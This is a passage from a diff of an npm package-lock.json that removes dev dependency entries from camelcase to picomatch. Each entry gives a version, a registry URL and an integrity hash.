"https://registry.npmjs.org/camelcase/-/camelcase-6.0.0.tgz", - "integrity": "sha512-8KMDF1Vz2gzOq54ONPJS65IvTUaB1cHJ2DMM7MbPmLZljDH1qpzzLsWdiN9pHh6qvkRVDTi/07+eNGch/oLU4w==", - "dev": true - } - } - }, - "jest-watcher": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-26.0.1.tgz", - "integrity": "sha512-pdZPydsS8475f89kGswaNsN3rhP6lnC3/QDCppP7bg1L9JQz7oU9Mb/5xPETk1RHDCWeqmVC47M4K5RR7ejxFw==", - "dev": true, - "requires": { - "@jest/test-result": "^26.0.1", - "@jest/types": "^26.0.1", - "ansi-escapes": "^4.2.1", - "chalk": "^4.0.0", - "jest-util": "^26.0.1", - "string-length": "^4.0.1" - } - }, - "jest-worker": { - "version": "26.0.0", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.0.0.tgz", - "integrity": "sha512-pPaYa2+JnwmiZjK9x7p9BoZht+47ecFCDFA/CJxspHzeDvQcfVBLWzCiWyo+EGrSiQMWZtCFo9iSvMZnAAo8vw==", - "dev": true, - "requires": { - "merge-stream": "^2.0.0", - "supports-color": "^7.0.0" - } - }, - "js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true - }, - "js-yaml": { - "version": "3.13.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", - "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", - "dev": true, - "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" - } - }, - "jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", - "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true - }, - "jsdom": { - "version": "16.2.2", - "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-16.2.2.tgz", - "integrity": "sha512-pDFQbcYtKBHxRaP55zGXCJWgFHkDAYbKcsXEK/3Icu9nKYZkutUXfLBwbD+09XDutkYSHcgfQLZ0qvpAAm9mvg==", - "dev": true, - "requires": { - "abab": "^2.0.3", - "acorn": "^7.1.1", - "acorn-globals": "^6.0.0", - "cssom": "^0.4.4", - "cssstyle": "^2.2.0", - "data-urls": "^2.0.0", - "decimal.js": "^10.2.0", - "domexception": "^2.0.1", - "escodegen": "^1.14.1", - "html-encoding-sniffer": "^2.0.1", - "is-potential-custom-element-name": "^1.0.0", - "nwsapi": "^2.2.0", - "parse5": "5.1.1", - "request": "^2.88.2", - "request-promise-native": "^1.0.8", - "saxes": "^5.0.0", - "symbol-tree": "^3.2.4", - "tough-cookie": "^3.0.1", - "w3c-hr-time": "^1.0.2", - "w3c-xmlserializer": "^2.0.0", - "webidl-conversions": "^6.0.0", - "whatwg-encoding": "^1.0.5", - "whatwg-mimetype": "^2.3.0", - "whatwg-url": "^8.0.0", - "ws": "^7.2.3", - "xml-name-validator": "^3.0.0" - } - }, - "jsesc": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", - "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", - "dev": true - }, - "json-parse-better-errors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true - }, - "json-schema": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", - "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", - "dev": true - }, - "json-stable-stringify-without-jsonify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", - "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", - "dev": true - }, - "json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true - }, - "json5": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", - "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", - "dev": true, - "requires": { - "minimist": "^1.2.5" - } - }, - "jsprim": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", - "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, - "requires": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - } - }, - "kind-of": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", - "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", - "dev": true - }, - "kleur": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", - "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", - "dev": true - }, - "leven": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - "dev": true - }, - "levn": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", - "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", - "dev": true, - "requires": { - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2" - } - }, - "lines-and-columns": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.1.6.tgz", - "integrity": "sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=", - "dev": true - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "lodash": { - "version": "4.17.19", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.19.tgz", - "integrity": "sha512-JNvd8XER9GQX0v2qJgsaN/mzFCNA5BRe/j8JN9d+tWyGLSodKQHKFicdwNYzWwI3wjRnaKPsGj1XkBjx/F96DQ==", - "dev": true - }, - "lodash.get": { - "version": "4.4.2", - "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", - "integrity": "sha1-LRd/ZS+jHpObRDjVNBSZ36OCXpk=", - "dev": true - }, - "lodash.memoize": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", - "integrity": "sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=", - "dev": true - }, - "lodash.set": { - "version": "4.3.2", - "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", - "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=", - "dev": true - }, - "lodash.sortby": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz", - "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", - "dev": true - }, - "lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "dev": true - }, - "macos-release": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.3.0.tgz", - "integrity": "sha512-OHhSbtcviqMPt7yfw5ef5aghS2jzFVKEFyCJndQt2YpSQ9qRVSEv2axSJI1paVThEu+FFGs584h/1YhxjVqajA==", - "dev": true - }, - "make-dir": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", - "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", - "dev": true, - "requires": { - "semver": "^6.0.0" - }, - "dependencies": { - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } - } - }, - "make-error": { - "version": "1.3.6", - "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", - "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", - "dev": true - }, - "makeerror": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.11.tgz", - "integrity": "sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=", - "dev": true, - "requires": { - "tmpl": "1.0.x" - } - }, - "map-cache": { - "version": "0.2.2", - "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", - "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", - "dev": true - }, - "map-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", - "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", - "dev": true, - "requires": { - "object-visit": "^1.0.0" - } - }, - "merge-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - "dev": true - }, - "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.0.5" - } - }, - "mime-db": { - "version": "1.44.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.44.0.tgz", - "integrity": "sha512-/NOTfLrsPBVeH7YtFPgsVWveuL+4SjjYxaQ1xtM1KMFj7HdxlBlxeyNLzhyJVx7r4rZGJAZ/6lkKCitSc/Nmpg==", - "dev": true - }, - "mime-types": { - "version": "2.1.27", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.27.tgz", - "integrity": "sha512-JIhqnCasI9yD+SsmkquHBxTSEuZdQX5BuQnS2Vc7puQQQ+8yiP5AY5uWhpdv4YL4VM5c6iliiYWPgJ/nJQLp7w==", - "dev": true, - "requires": { - "mime-db": "1.44.0" - } - }, - "mimic-fn": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", - "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", - "dev": true - }, - "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "minimist": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", - "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", - "dev": true - }, - "mixin-deep": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", - "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", - "dev": true, - "requires": { - "for-in": "^1.0.2", - "is-extendable": "^1.0.1" - }, - "dependencies": { - "is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "requires": { - "is-plain-object": "^2.0.4" - } - }, - "is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", - "dev": true, - "requires": { - "isobject": "^3.0.1" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - "dev": true - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "mute-stream": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", - "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", - "dev": true - }, - "nanomatch": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", - "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", - "dev": true, - "requires": { - "arr-diff": "^4.0.0", - "array-unique": "^0.3.2", - "define-property": "^2.0.2", - "extend-shallow": "^3.0.2", - "fragment-cache": "^0.2.1", - "is-windows": "^1.0.2", - "kind-of": "^6.0.2", - "object.pick": "^1.3.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - } - }, - "natural-compare": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", - "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", - "dev": true - }, - "nice-try": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", - "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", - "dev": true - }, - "node-fetch": { - "version": "2.6.1", - "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", - "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", - "dev": true - }, - "node-int64": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz", - "integrity": "sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=", - "dev": true - }, - "node-modules-regexp": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz", - "integrity": "sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=", - "dev": true - }, - "node-notifier": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/node-notifier/-/node-notifier-7.0.0.tgz", - "integrity": "sha512-y8ThJESxsHcak81PGpzWwQKxzk+5YtP3IxR8AYdpXQ1IB6FmcVzFdZXrkPin49F/DKUCfeeiziB8ptY9npzGuA==", - "dev": true, - "optional": true, - "requires": { - "growly": "^1.3.0", - "is-wsl": "^2.1.1", - "semver": "^7.2.1", - "shellwords": "^0.1.1", - "uuid": "^7.0.3", - "which": "^2.0.2" - }, - "dependencies": { - "semver": { - "version": "7.3.2", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.2.tgz", - "integrity": "sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==", - "dev": true, - "optional": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "optional": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true - }, - "npm-run-path": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", - "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", - "dev": true, - "requires": { - "path-key": "^2.0.0" - } - }, - "nwsapi": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz", - "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ==", - "dev": true - }, - "oauth-sign": { - "version": "0.9.0", - "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", - "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", - "dev": true - }, - "object-copy": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz", - "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", - "dev": true, - "requires": { - "copy-descriptor": "^0.1.0", - "define-property": "^0.2.5", - "kind-of": "^3.0.3" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "object-visit": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz", - "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", - "dev": true, - "requires": { - "isobject": "^3.0.0" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "object.pick": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz", - "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", - "dev": true, - "requires": { - "isobject": "^3.0.1" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "octokit-pagination-methods": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/octokit-pagination-methods/-/octokit-pagination-methods-1.1.0.tgz", - "integrity": "sha512-fZ4qZdQ2nxJvtcasX7Ghl+WlWS/d9IgnBIwFZXVNNZUmzpno91SX5bc5vuxiuKoCtK78XxGGNuSCrDC7xYB3OQ==", - "dev": true - }, - "once": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", - "dev": true, - "requires": { - "wrappy": "1" - } - }, - "onetime": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.0.tgz", - "integrity": "sha512-5NcSkPHhwTVFIQN+TUqXoS5+dlElHXdpAWu9I0HP20YOtIi+aZ0Ct82jdlILDxjLEAWwvm+qj1m6aEtsDVmm6Q==", - "dev": true, - "requires": { - "mimic-fn": "^2.1.0" - } - }, - "optionator": { - "version": "0.8.3", - "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", - "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", - "dev": true, - "requires": { - "deep-is": "~0.1.3", - "fast-levenshtein": "~2.0.6", - "levn": "~0.3.0", - "prelude-ls": "~1.1.2", - "type-check": "~0.3.2", - "word-wrap": "~1.2.3" - } - }, - "os-name": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/os-name/-/os-name-3.1.0.tgz", - "integrity": "sha512-h8L+8aNjNcMpo/mAIBPn5PXCM16iyPGjHNWo6U1YO8sJTMHtEtyczI6QJnLoplswm6goopQkqc7OAnjhWcugVg==", - "dev": true, - "requires": { - "macos-release": "^2.2.0", - "windows-release": "^3.1.0" - } - }, - "os-tmpdir": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", - "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=", - "dev": true - }, - "p-each-series": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/p-each-series/-/p-each-series-2.1.0.tgz", - "integrity": "sha512-ZuRs1miPT4HrjFa+9fRfOFXxGJfORgelKV9f9nNOWw2gl6gVsRaVDOQP0+MI0G0wGKns1Yacsu0GjOFbTK0JFQ==", - "dev": true - }, - "p-finally": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", - "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=", - "dev": true - }, - "p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "p-try": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", - "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - "dev": true - }, - "parent-module": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", - "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", - "dev": true, - "requires": { - "callsites": "^3.0.0" - } - }, - "parse-json": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz", - "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.0.0", - "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1", - "lines-and-columns": "^1.1.6" - } - }, - "parse5": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/parse5/-/parse5-5.1.1.tgz", - "integrity": "sha512-ugq4DFI0Ptb+WWjAdOK16+u/nHfiIrcE+sh8kZMaM0WllQKLI9rOUq6c2b7cwPkXdzfQESqvoqK6ug7U/Yyzug==", - "dev": true - }, - "pascalcase": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz", - "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=", - "dev": true - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, - "path-is-absolute": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", - "dev": true - }, - "path-key": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", - "dev": true - }, - "path-parse": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", - "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==", - "dev": true - }, - "performance-now": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", - "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=", - "dev": true - }, - "picomatch": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", - "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", 